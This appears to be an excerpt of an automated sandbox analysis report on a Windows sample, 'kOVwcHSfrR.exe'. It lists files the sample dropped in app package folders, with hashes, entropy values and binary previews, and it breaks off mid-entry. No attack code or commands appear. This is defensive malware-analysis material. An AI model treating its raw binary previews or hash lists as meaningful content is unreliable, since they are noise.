SSDEEP:	192:8vZeBpBYY8CvBMOKZinttvQZ0+3jxmJDLpwpNWT4RROGPPv8dqq:8vcBqCvB0AvQZyDLepN8dGH04q
MD5:	84D24F1AC6FF56BBDF1C9962E54FB50B
SHA1:	BFBD60B4EF8761567A43E4566E33CC39F1195609
SHA-256:	2CA912C13ACA6868992E0BE629481AAAE0A8ECEE5BCD2CA8B5845DD499D4745B
SHA-512:	5917E1BFE6A72E964D38C5018F5CF79AC00C07B6A92088D86A0B8ED16BB10B02AB1B8C84FFFA38D2A08CA803659FC705B8C686BB2959DD2F9187598CDC4059E2
Malicious:	false
Preview:	regf....#.z.h..s.T].....n.v...+v...Yd.2.......(,.#..e...^h ......(...kk .A.....=.=.W=.+\|...{.;A...x...p\.......p.h`....-..4mj......\Q>/..iWg..nO.0(.e.v....\|."..e..I)......>..K.m.e.>.T+U..M...<.Q.b.=..}.:.y{.[M....^..M..L..~Ql......b.\|A...,.I%.Jg.<.G.\|[.Db6.alV.I7{.zA..Ca..0....K.(..,..2O?r.$G..2..i.Y..Q..s6.f5...o..........Z..'.....b.:......(.g-.Kk"...n...S[i_.............n1.>.].3.......rk..bv.... .,....0...Y.r.&.nI........4+.HE.....NM.s.?....[. ...t.Z..G....+..N.O..R.']k...5.@d6...........%.......%..%W........A..%,.~....,{.B..1-.6\.N...(..SL..8....9..>.Fs...ron..w.x.....<..`&V.BB....I..Z)....L..`Q..-.1nR]u...v...X'.v...Z$........w.6e.-.!.0b.v.......~......Z.....>.fe_...nI?T....wr.?#..a.".W....T.z.h.....O#.Q..<...rA.3V3..<_...N......M..q..3f.d...o..r.Cw......?:\|Q.ei...k..f...D.A..,.\|.R.....^P.~.N..0.h..9.....:...E..,...,..N..wL..!s.}...%...NJ...j9.....Y..rnQ.#...'n..lF.7....>x..A`..3...}.nYn...x.XvQ\.l.....h.:S9Q.d.._.[..I.

C:\Users\user\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.973854392232822
Encrypted:	false
SSDEEP:	96:lInDy3CUe9hCGmy8vA4j4EgaYc3Spl+nt4zNSIbqKY9SkWD2V8i+EOFEVS1eDyoB:lIDBhEs4j4LyTGZrqK+9KFgH1510db8
MD5:	7AD561AC31402857071DE58C0FBA8E1F
SHA1:	42DDDEB80C5D81ED6FF83620FE2DDA2FBB0465F2
SHA-256:	D665103EC91B1C638B98ED18801F62EFA2036E816A6D05123EC878611F1917FE
SHA-512:	6DEACDAC23D11EC03EC428EE5C25DF5DED9F77D3F4CB9971F5E83A0B5DE6AB616DAE7F92AEF7CE742B5063CDB8DE2810D6379454F81B36C9708FA393694CBF5F
Malicious:	false
Preview:	regf..].Qx...R....?G..L:...>....W.?....y.lL....4...,.M..[.j...~.....A..m...;9.......Nz'.P.dU..V.......\|>..{..S.xF)p.+U.]..`.....X....).5.s.....$..S9Ti/dy0}O..bi%..\|n3.0.^.K..s."Ro.1.y!..F7....>rb...<.B...NF3.u....Y.h(.a.\|}..........%x.Z..W....J..&..LY.W...G}R...;..Xa...K.....$.p.q...z.z......Q]" ..SGQ....x5.b.....@(....n u'...q..(yg.......I..?.$..j....e...l.6n.o.\....n[...[..!\d.M..ka..aD.n............U....c.....uy(..y7.C................~..K.D$R4....W6..}]....'`N...&.k.!.0+../..8......1.7.u....Y-~.:.g....a./.3.....f.Y;qc..........~..A...u...1.N.#N(Z..f}_..M.y...9C..v..\F..Q.4Z..........X2CJ0:E\|...)...O.>....-.......0..X..O?6U]......q.........J.R."...i....p.h..M..b5.D..k.C..R..Zb.SV.u@..].Z.D...1..c...J....r.~.!./..]v.!1..-..........8..y.lFJ...B..$.a.q)U./...CCfw.v...t....Fb.<.l.)[......5z..\|..}Q..vy.U....".....E..Z..T.EN..;....XV..U....e.DT\....3%......~.P...pU...&.p...........i...q2.i..E...m6.G2W.G..M...XA.....`H...{s.1..._.9}...E^.8..isZ

C:\Users\user\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975301869546328
Encrypted:	false
SSDEEP:	192:ESn7edtoDrlTagBj8Frd7ezjM6BjQIT5wmgLkaeGKaDGE:ES67o5FBYFrdojxdt50PVqE
MD5:	5331A504E82147A2DD6D813DBB9A37B6
SHA1:	F36757759997ED1FB67F9AAFD593B6AD062853C2
SHA-256:	5AEAFA97B0ADFAF2BFF963C96B246580CC9CC537823BC28BC45AC77C5414E943
SHA-512:	C2EFEC76CB49A9D13C1FDA94D114428599F393C4A9EEC466828A070E26C6BC476E99D9006498A53A840474D5CF4A17BC8ABBE24243BA33DC80A6979979B59D1D
Malicious:	false
Preview:	regf.{...H....QS.W..Vfk.gJ4.M...M.........~te.f9..ulI.P.#\|.... Y.(....&....}#...t./ ..._>qS..........T..q.Ry/6Dr.?u..I.....~.;g..22..iDV..D...6..2...:.1.../.H ..-.....M=.-.G.?.....5&....e_..Q.J..Ba?.].....Q....sy.........qO.....x.S[...P.1N...e.w.G.]r.?..7....%..Zvg...r..<..f.:H<^ ..LW...%...Z.t.6.g..z!.. ....#...>X..X'M!Dp).>..H....g.v....n.b[..C.b..:i..%..{Ta..Y.X.}.`.u.0V^.G..X.+JI..&P.^''H.tL....;].]........5+4.1.v.3c.Nr....A[.Z.Z.....ZE..b.S....=V.-.&%.p.a...%...O.w...C..`...a.w.v.....K........G........TJ.l...Y.Q5..g!../.......#.Z'....8w.B,.]&5...6o.1..=fG.k.! ..}.......G.$K....X\....5.Q.B..W6.....#.IS.W..)_.b..K..l..P.....9B...y.~.S..........=Xu.5..R..v.\|...!...e....4....>..J.^.p......f..XA.^z..^z"...}....N.....H.pH...Q..D...]d....*F.z.dmM..Q...\|..J.$ .(..n.V....Im....C.......>#....g...3.!Sy..bq\e...\.W....{%...T..!........B....F.V..p.O...6.........._..%./Q..gb......?G&.0.&....H.i_W..6.....nIx.f\..,...q....4.G..q..

C:\Users\user\AppData\Local\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977660048562285
Encrypted:	false
SSDEEP:	192:CODq7tdpUZuUAX5oTbAPA+cfOaxh2bAFoPVhE6qGLwHSfrueTcc:CJ7tdpU1AX5oTbr6a/IkGssrz
MD5:	A962AEA61AF45F37F16478A23BBF8BE3
SHA1:	D380CA752BF414E9C2BA35A5A5B1F3F3332FDBFD
SHA-256:	F8EBFFDD11B641A9A5256E07A45CC069BE98F8EDDC478BEB11241C32267D2DCE
SHA-512:	623B87346AEEBC5A4EC4BE46C4AE8AE01962B957EBEE2C170B21B831D2EF1D98343BFFE4DFF815A360EA7B89CCB59DF98D29CEDE63CEB795962207D1F26749C1
Malicious:	false
Preview:	regf....c.7.......SX..]6q.....V..n...7[o<..{....;.S..9..I...C.@.rP.............1..i..p...B.....0./..s.Mf...3.....m.....f.}...i<..19.!....."...H.c..;D.c.'..)..... ....NC..D.0!..k.$"#..;..>....S...JQ..v....\=N.b...k....p]..q%....K?0C.2.x.u..S.<.+.._.....G"D.I.o.!....Y.T.7!............Ts;{?x....(.#f.}....5v..\.m..g.I.&Kk...3.:hy.i..6O......x#.}....FCqc.W..`....4;.....r9..o.DxgS}...V$~....d-....~..i...t`.-..~I...I.........r....+.a.......m.a....y].<.F8...........rP..........jo...<L..1.OZ...1xDc...ivr......cNLa.Qf.wZV..../.w.7..-?\|..n........y..z...q....#kO....I.._D.p..vNX7.A..u...iZZ....w.N:KB=...X.eX...E..\R.x..3.....m.@d4=.m\|..Ae.J...A...tt.].{f\I..D...].l.H....tu..%.s.`.......V.YF.U..o.....j.a.DXD...X.z..b4.....O......Iy........s...s..z....\HG...Yx(...utS.%.y..W>/.$....b.j.)'...IE......D0&....)..@.j_._.q.Qx..<....+.).tlD.]..Y.[<t.r...v.}_.O.... .....c...?.8..0X.u...X.....D..... .....C...Y..E..Ec.8.pZ...,T<.h....?.:....}...d....

C:\Users\user\AppData\Local\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977588821390737
Encrypted:	false
SSDEEP:	192:J0G+gm86PKjv46i7fRiNYjSqSuu4vdWH8kHICt25qXFJJ0cZwW:Jf/V9z4z782jS1ml3kRt25qVH0cqW
MD5:	3532CF2D264CA74BFE7EE6BDD4376A43
SHA1:	AB676EE6D7A428981FB002AF6ABB01BD2C451DBE
SHA-256:	4FEB08E7480534B0353BA4015B2D748C975B1019B77D3E21F1C058602216E718
SHA-512:	C284834C19C6984053D913E169B8832BC938678A87CA526E11CD9E2273D2DC038D8F47699EE29750C528F543C6C5D04617215DF3E8809C2A827127C5E96B596D
Malicious:	false
Preview:	regf...,....q.y7a.2..um.%..........s_v.....HvR..M.-v.^...:.&.E......u...!Ag..t+.G. ....."........vHy.....l.'......a.B....&..`#L...'3.TJ+...0.....d..Q.I"...7.e../.b..j..?...oX...I..\i.....YiXc).8.h~.I...V.i....x&A..f......W'JV._.-..gw\1..0......~^...b....U.i.t.pF+.).0.....V....#.OU.x..f..Th.t.>..._T....YH.a\|0o...L..a...x_.\.#..3..(.'.......S2-V..._.c...$..O"G.....Z..o=5..-..f..._X.H...].....m}...?...:/....+o.^_K.r......wl.g....F.....;.U.....Z.f\|..9.....m.3H...h.........LJ....l...`........^.my.N.y.....A....e.$...?.>mf.k,..G..d...2].Tats.<...\|.....O/!..e.L....}V....&h..F7M.~.h....y[h.I. .,......~Q.P...5C.h,..T..........r^..TQ.n...T}...-5.1..M.;4...YB....0..>..iX......6.7..g....^r.s..55l.P .".I........._.C.6...;....K ...k~.o.....`.z.-q...:.dt..`.a.x.7.g~...P..r.....\|.9UgR...v...'..>z...?..d.a.DP.q(.g].}'...$.!*H.sG.^.6f..f.+.%..'3..xh...<::@.~.u..P....'.cEq.....rz...J....K8...OB....1/E..........1mbj....;.B......./..h#+.4..a,.@X...

C:\Users\user\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9765948233539214
Encrypted:	false
SSDEEP:	192:lfpAsRH2zJaHDGvCBxy6316AuI/jWKAMokPSwd7PNw:l2sRHRHD3S63gogdkF71w
MD5:	5EB29FACA021038567854D0336BC1440
SHA1:	4384F208362F7D31E0E6FCAAC372F9EA7C82DD30
SHA-256:	B749D485BD63B0CFA17F3B0B3A3FB3632CF4DE9E8098C37D62DFF58F176407A8
SHA-512:	27DA97424B4F9897DD402C9B2FBE1684295A09C3C7B7511758D8D1C350F3F08B9F8477DD1DB5781B350E4B1DE1FDDDA795AA2D8677E442A23BA3C40CA0A0FF9E
Malicious:	false
Preview:	regf.e+#..g.'W75B..<.a).T0.$/. ,DCD..,.9u....a8..J.2..n'.A....D....O`..!2.j....Z...G.....!V..... #..{.0......0.\|zqx..J......)x.&.29.-..!.k~.4..,%...r....&...X.q<..A-.[../.K#}..........3....\.....pL...'....QB{.h.$..'.Q.T#.-.-.=)...rb.4.twX.h.....z{.=...l.....Vk...r(.....l.......d...<3....%...?.e9.... v5..6.....6..y...4.X>...Cc..[.......6.....n...3.s.2.!...1..(Ss8.0)q..e,9.`.).."....k...:.$U,.n=..R..u....P6.....9.,X^iH...z..;q.cJ %....&iZ..i'.8-!.E.-z.R[......2.BO...`...$.?\|q.r.>.].........].#A.<9^..UR.......D...yOC....2.[_.....5....)B.].........ZA@%..w/..e..b.u8...U.]..6U7d0. _......:.<.[.r[c...5.......O..x.c..N5ps...xO.`r.p2:9;x..........@...E...<...Q}h..{.-..............`@........82.`P'.H4M..,_.&....O.R.1uW.........>e.. ..+.0.O6J.t....s....X..t..........#.@z.....{D.%?.....PC~.rNnp...J...O.#..z....i..k#.t+p.{.4.....(\.,u..Ghz........P..k..YH.t.!\..gk.3rb..) .3J.....W.zO..}...K.3.3.r..../....;......$.(U....P.x..5+......U.E...

C:\Users\user\AppData\Local\Packages\Microsoft.ECApp_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97716754858995
Encrypted:	false
SSDEEP:	192:ArGEUyg6hCxaa2MdIV7U5fGGZAXHy2e65Z2A4R7f5W8UsOgmc:OG9coxaaDL5H+L4tRvUvgf
MD5:	8656DEA8CDA5CA3F6C09645CAE1CB493
SHA1:	C65BB454FDCE357D8D74A188B3B8464127EDFC18
SHA-256:	733341ACD05BB5BEB25E8744966A7A8DCC0844F6A250D982703E7AFA7718314C
SHA-512:	02EAA7E3DBC1320C33C5D8F987F295827670F4378B7760BFDADB7BA1177A7B3B64FC5694144FD5A1CE59AFB74F38CA3B52E707B6075746D5B18C51EF66CE2DCD
Malicious:	false
Preview:	regf.[.......<N.d.../N.E.......0...t.)....?..}_.I..S.S'.C.n..X..L.L....p.........g..@.7A.<]jw@.I.l..;.\|..#..n.....T..Y.a.<..\|N.K.<RY,...U..w..2?....N,o.=.&..!.4..T...XS....P.........W.&.....U.[S. ......m.h.........NV.#...........?.0v/}...w.~......D".K."#..(....X..S.....q..h.r<J.....u........M..C...nxw.G.o.K..I.~$..x.X.x..n..V..E...f..b.......b..2.O(7$gr..5.2.............]0...q..t....1.....`..'.1.lR....L...Y.....T.*..4....T.l...#...CeQ.?e....>..;...O......3.C..M...y:...(.ZKr...m...:.d.<..+].$...f..cu.B...{..i....tYY..+.R.OOdB...D..M..'.B..>.....6..`...k.SNR.=K.........+.c.#Y..;.]..?...l.....o...}.........&..._A....Ur..)..].R........}UL....b.,....(t..K.s....u....g`..H..-..Z..0..$.".3x@<&..iU..V\$K.E.......<......b..8<j..'6...L..2..>V......d(.......\|.v............)T...S./}2. 7..cR........M....#.....&.....a..y.t....>......9..\<}..WiC... ..D-/..2.b]...>........@.1wo.s.>."..p..PB.#.....B...m.[..J.L....0L/u.-%..[.....PFD.....v.=

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979840318463882
Encrypted:	false
SSDEEP:	192:Pwdlm5Kjg2c1Zj2XiV7hYNEv8iKd5UZvasKSR2U4YsIaDX:IO5wc1loS7hYNBCa42RYsI0X
MD5:	80B8AB4EBFEFFBDA60956E2BFACF1B45
SHA1:	3742545909F167A7FD2E75DDD5D1A02EAE67B24F
SHA-256:	1878671A8F582F5362F5B4BB46C1B1C166B273C92F37C64F8CFE042C02052CFF
SHA-512:	42B62C28A74A25DB7D1AE5DD38624E714865C88DC6CFD3D91E6E8532DB73D28EAB1051120148E47EC438762F9BD52F869AA7CD64E53022828EB7BD790DD349F2
Malicious:	false
Preview:	regf..M-........-TJ.E0........V].wz.5.......+k0..+EE.~[.5Q....?..5.......!.X~..!.Ag..2...a&... +~%sC.E]a...t.W.w..M......L)..u.o.{S%.K...7o.Pypq...gi;]..9"mDS!."....._%...]`.<W.n.-.<._...g.z...[..5_..M....9{..477.....N.J...I.?@rGS%.[.....B<m.Y.l>....I.My.(..........~..%..%..:.r,wp;L.b..v.o..;.j.".w.M..c...&..].urR....3.JS... ...h..S.....8N{E.....E...e......x.dU.#....ZN..a.2F.qV..C.)'.8%.........9zI5w-`.S....K..X..!......R.i.....!I>[.N.6.W6....&$..0.>......._Z.p.......Q..=z.\|...F...z.~.z....I...J......Y....G8..a.Z...w.......\)9....9.~..?.....,.gB..2/..u...-v0..f.Z2...mc5y..93..k.+;er...c#O7<o)2..f+9ABCVpZ.8..E.....M.r.T...AB.7......l......S..,.._Nq.i..Y..g........$.E.ik\|b.P......E.....(......>e.4.O....;t....g.....U....\|xu....k..SN.o!Y.....aG..3....?.>..D..@...@.......V....O/..<...H....=\.."....eV..}..W>.....B.u.8&..L......?:...W.w..e....q\..&h......1.4{..1f.......,.4nB..S...j..+.....&..1.~.?..H.Q..;.\...!C3.%Go>Pz7.)..b;....^e.

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976296039220403
Encrypted:	false
SSDEEP:	192:nU+slxws7qX/4kxHqJyimfeL3JAFtzmhNm22S:nMws7q4KH0dJAFJmhnH
MD5:	1604BAE36BE8D79497B54D81026ED660
SHA1:	52404ADEB663ECBD6C9B5E04E36EB53FEEF5F700
SHA-256:	9BA668ED05BA96DC5796BDC193FF7DDE1682B333C37069DA2C9C478F9EB38AF8
SHA-512:	D02617FE7D7B2CD61201C5227C96E0AEC3C7AAF8AB7463C314D019673C1489BF336C34195DBE24D6A78E5E572776103E8C0EBF01216BCED8A2368CB0B7A68461
Malicious:	false
Preview:	regf.2X...8....'..X.v.(.4.^z_y.%....y....O.9..y.T.2+...X...'.1..s..j.%q.%c.@.>.bU...)....N.<b....skKC${(\|a)..sd.wNW:.P..R)B@..yFTq.WT..&].6.Yf.P..,1H...[...o..d]...BJQ.:+......F....k..)...8Wt.C".]#.S.[...kYt...#.d4...~;..w].#.\|.}TbT..).R.CZ/S..\|Ws.GD......eg..B..$u..ryE..%.[..D.q..0.A_...n..(....V......5..=:........[Xor{z..&..p~..A...s3N_j.c..f.@*.6=..P...9V..u...<e. ....:D...H.....ce..-......\F..Jr.:@z..S.%....E.....dU>.........<^...8..z6.\K..s.M.i....t&.L...9.R_1^K:u.....r.Z..qQ.)......%m.......!...E6.Z.M.Y.]..tq.n..z.W.HJ+Q....r-2..3 .I..`. d.Q.QF.].}.oHS...p~....H+.w0.......c."].K....f(?.x...'.qY.c...K..M.Y.X.%D.x.I...OW.&./.j...6U...PY.A3.G.3..\|.N....1.sf...x..i.).......h..b..x..........`..m...mj..){...J,.47...,.x...J.H....\......B.%:x..~M?7..BGj..gV].mzY.....F.q4.Z._...U...{,@......`.o..o!....u....Ya.vW..x........%...>.+.R...f...93....'\~.:.J.2@........y.....+..~...I.&.....E........~.Q..G...<y...tO?@..."....uH0..y>...1....:.1

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975207537609888
Encrypted:	false
SSDEEP:	192:PxmJBpvjBAY0IMqeHrNwQLZQGq0d02/nIU:pmJBpvjBH8q2rmG1hnv
MD5:	8A46CE094A1083A068FDCAF872313DAA
SHA1:	D9B645330373E024D595EE628B8670EE312272D4
SHA-256:	F3953C97D8E7953998E7FD1679237EE30153CA9213FFDBDE471A40B8AA423E86
SHA-512:	5580F4B4EBE95EE7ACA921C793BA2BB78534882E742CCADB8C9A365F0E34D7CAA91DF6AED93B7D1D628774FAD14F6BDA82B90617F6B1913FCFD5D4842FB7F8B0
Malicious:	false
Preview:	regf...OB.;o~...O.....'.......c.V.V..n4.....)$WS.CR=.I.....W.....2E............c....q.B.}<..=...^....Ua..P..Ar...K"...K....Kai>....rr.$E....P).8.].`.......tY.-.?.2y.T.O.w.A........8..=fw/Xjq?...~...@...m7..Z.{.d...c1Z.K-$.&..$.y:.E....d{..iX...e6.k......9gw.J&.o.....:. ./..z..%..\.L.a...J?Y.F.9mL..8g...y.7.M(X..tE.....Ta...6....-.kt.[..#.1esC..q.z.7..I.o.@\|K......U.w.....8K.....T.2.-Rq..D..%.N.c..g.T..@..Dtj.%.-..[q.WR\|4vz.V..".i{.N....cSLX.:,_...!..cF...q\|.....eF&{.....l.Uw.:.\|v.QH,..x{...$=...V%.........).W....5...R..D.b).8.cDX..}...V6..K.......6..&...@.s..u.d.R.'............ Z.D...:.....TT....P....../..........{y.>D......m....p..{.v.v..."._X.o.a.KF...T..u..W.P..p.`/^...\|..@N.[Zm....N,...b..6...a..N(..2....?6../.!.#8Y[ls.v.#J9sy.{..h>.x....8DA.....i.....M....$...J.M.KUXR........o.......Q...v).....L.....{.hF.....aC.7.0.F.&.......O.V.8.D.%.z.z..Y4.....[<....1..1$.4......._...B.J.............t%...-J.........*..cX.J..>N.....2..

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979545780943677
Encrypted:	false
SSDEEP:	192:fskaiARYLLmSs5xG/XGxi4cIw9YWxndpm/CyNVIEPkLRVgq:fsHTSs5EWatKWxHm/LNVRPkLRVgq
MD5:	9D7C10A6017108FD8878FF613A453F13
SHA1:	FA65814F0BA2540F3A075F6EB0DDA957CE268683
SHA-256:	8283A2405AF301EAF9215D011FA8CF369732E7A0E82384FC8284756426919704
SHA-512:	AABF36E523FB1EA0677E3032B03B863FBCE7D06D2CACB8C9B5AEEA66698D3056B7129B50617CA569BEEBCE334FCDC036CB4DD8861F9A86391E67A39C027FA1F5
Malicious:	false
Preview:	regf.:...Q."..6{}...ZU[.jUw......n....1..T....O...YZ...)...FX.[......F...s^.....]..^.;....w.2.e9.Z.x..^.T@\|..#.!..^.....dq#(..Y..I.TA..`......)\.a...H[.l29......}y9m.&...&....cT(..<...m.....D]..Y.).?+(=..G.....=.....f.`.]:s.w-..Z._m..5....&.r..X?..mY.#...HFyt.....f....+.`...+..2i.KY#..g~... .(..@.L.....x.$....`...8...xG.a.jth..J.7b...X..6EI. S'2.g'.K.....S+q.H...#.VY..Z,.kY.Qm6..j3..-..h:Gw`~8.::...6..\|....C...)).6...........OZ....H.u...oC]Q.{....)..XS...iV%.f..CW..U`...g\|.V.....@../..z6)G.,.........jZ..Q5..-..0...c..l..;r0...;.#.A].He....K.1....2.6..l........).....C.J...[......A..x.Q<%.O/.9..k.).N..[.U..Fdf...;..Ob...OJ8.g.C....\].J&a.....xveE..^.-u..C.xN..>N. .Hf...?u..l.....H...~..<.=...M...Z.bv.r...[.}.....U.Z.QF..1u..K.......M&.+.nd..#:;5[...:`...m.....w.<Gq..tJ.<M.I;ySyQ....@....W.... $\|%.. 0.:>&....Yc.[.f?..T1....4..o-~.D..pY........c\.E..Z...O..^...Ij....R..nt......r..r.[..w+.6.......b;'..Xo.......C....B!@....Q...ZC/_...N....fq<.....

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9748448129525755
Encrypted:	false
SSDEEP:	192:ndN+ce/jK5s64jRREQohhNLLUnNUthxYnC+0+ae5GAjddAbYK9B8TOkar:ndN+ce/mJOEQobNLhfqnCRgnddXcB8K/
MD5:	C2871309AC64E542FAAEB8A048858D91
SHA1:	0A8E49470F5CB49399C44E1EE81A426FD7DD7377
SHA-256:	B42EC24F67711105F65DE93531C591475705478F3D32BEB7AD48907D82EEFC6E
SHA-512:	5138316BFCA3EE9377C687AB15E9BE33DD5217E9F9F94A1D60C3030ACACEF031C391576F0913155B58F5A8E8D1BC162CAE5CF8858E60064C7955A1D4F584D81A
Malicious:	false
Preview:	regf...a...U..4L.}..<H...~.o.....fG..........h..M.8P...t.\-..u.U..7`}W,G.....Q.I.......'...&_.Zi.Oq.._OX........E....f....H......B,...S#O.....Q..2.%x...5k;0..'.I..".sJ%~n....y....r[5K..0.M..N-...u..n..^=.Gl2.4.....F..w..$.4...A.'....O......[!....#.&.!>..\..p.d.R{........K@.;.>ii..~.,d.+..cZe;.a3...2.?O..KP......\..]j.. ...6l"t/..I.Y.U..i...wq^=$.}#.I..`....YQ:.BK...\..>.....9z.....Tr..<[q.R..0..}\|..>E.A/....u.s...U;;.%Z=YgI..~4.....,....n...8<...F.-..(y.....r..3>.+.............P..:....E. %..4...:d......."...~.....[>?.A...?..^..V..ez.B. ..7.0.Y...C.t..._;.W0]....u...!........`..z...{D.....bn.....j`..k.-'d..C...3.G.+...'.e.Z..@..........5'..$.Wf.%.Dd..N......DiC*.b.w.s:...\..o...Ti....~t.....c..i.UU&..x.U....$..R..<..F?vG........["9z............e#&.....MQ..?..#.Y.o&.P)...........N......l.vQ.:.."n...t.D\@....g....5,.A...-.......J....bYnyg...m...ca..s.....> N.{{...RCim.[...g.Rh....q7........(+....._..N......J...dmA'..O\|E:v..7.]qS....]

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\MSIMGSIZ.DAT

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	49454
Entropy (8bit):	7.996369199870096
Encrypted:	true
SSDEEP:	768:x1O1k7MaC32l0RZlKTiCpNV9CTOchm9Rs2+5E+wWVVy7AAaB0uEBYbHfHGjxIGBY:qkAaC32l0aCTOcgjsvLxAJupwY
MD5:	92C2C8565044C54F14195D3CB62EA70E
SHA1:	BED6BAC2CCDD690C259FBC030A27807A2B876F63
SHA-256:	A4449235F14599EF132B3394DFFADB21C352B6E2DCCF97649A2BFDA33EA7AA04
SHA-512:	257C48A1A44C6A2B45801DFEA8DF7F4501232ADF2F24FC45A788153A762063DDFD34CE29F1BE9D8B24977A4D719AFAA2D59FFEB3F4DA1D65407A046E6517466D
Malicious:	true
Preview:	.........m(G..V..v..e..>.q#i%4F<K.N...n%Si`...Nz[Y.'...t.eY...............7...k..`...l.;..o.z_m....$.'.........Y/.h0.H4......:..(.<6.K...... '...gF.F.".h<<3G.....X.9A..,>..A......cY.....!uDk.....`.m..1v...f.e.&....{.w.&.........l=.ca.H.8.........i..=f .B..-.jDG.IxD..../+.....c9-...X.....:.RPQ.r..u......d..;....p.;B...O.M!....T{4.#.4.}.M\.".....R^......Y.w..A.......a..aD..B..B6-1......A...j.a......}n?H....r........u..\fYR...a..e..z.#GdO.. ml.'....$.@....b..5...(.Hz......r.P......gX.4=...f........*l.w/.6.....#.9.0.:"v....u.Z.. .]`..........s<.H.6..;..^..L0O."^..T[.....'/.L...F.Y...V....@.T.h.g.....2a......Q.J........B;...._..h;c.....>..}.G..U(ly).W....lrK.c..=...R.......zX..m)f..T.w.......yh.x..4.!.1......S9...W..#..U. .i............W2....7dT....EA....h=......c.8C.Y.i.(..0..;..H....."@{..^...~.9....lC...u....z\.=..i]Z.wV..!....`.[.........r.i.p&...zt9.fi.L.r..hP..u../[....\|...w\|.l..Q...w....L..\._.K.......w...Ca....i.-c.&{K

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\Microsoft\Internet Explorer\DOMStore\Q70OOHIB\www.office[1].xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	347
Entropy (8bit):	7.287203254574552
Encrypted:	false
SSDEEP:	6:Jxvl82ya8+o1RzUhSlyWlC2mlYfeMjVjL4Ny8NQxcIDlQCAowfw5XeWcii96Z:JdS2jvob4hkzPYyeMjVjL4zQxcIBQBoB
MD5:	68FA8E36469AD34BDDEEA95CA351BC39
SHA1:	84FC1197AF677CEC0E1B15D97236BA49B5D26CCF
SHA-256:	F14284B2721D6B1A60EA9911696DA50876D40FD0F54F64CCCB6C8FB65CED4FBD
SHA-512:	408580BA393F3D2C8772A50D7F567A87F878FA2778F279B7BE3D53B2542C0612741A5B66076D4846C1EDC84344C75F7349EDC31A3F37C615896ADC1A757AB8D8
Malicious:	false
Preview:	<root>.v..1..S#./$.3.\|oL..]._...iR.q...w7...d.0MB...l..X..........I.......b..f.....>..5...dT.XPRO.Q!..o.+TF.Y..n.A...[.zA2..:.Qe'b_.Nw....;.hMg...!.l.bQ.V;."!r}..*..`..F.._.L>....-.~.6w.Y.!...R.... .\|5..Y.z...tAq.\|Tp.nj..OUc...4...68.\.S..9x..'x..?.}..q..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3857281374540937
Encrypted:	false
SSDEEP:	3072:3KrxJsE2llD9B1dddNhtiYhhyMgx8vbA3MSvTF6sa8SlhQcNXc5MaOiAEKaOiAEH:arnsE2VdXNhMkbnaiCAQcZc53Taq
MD5:	B5D637FD88DFA238DEE0686D2E4C796A
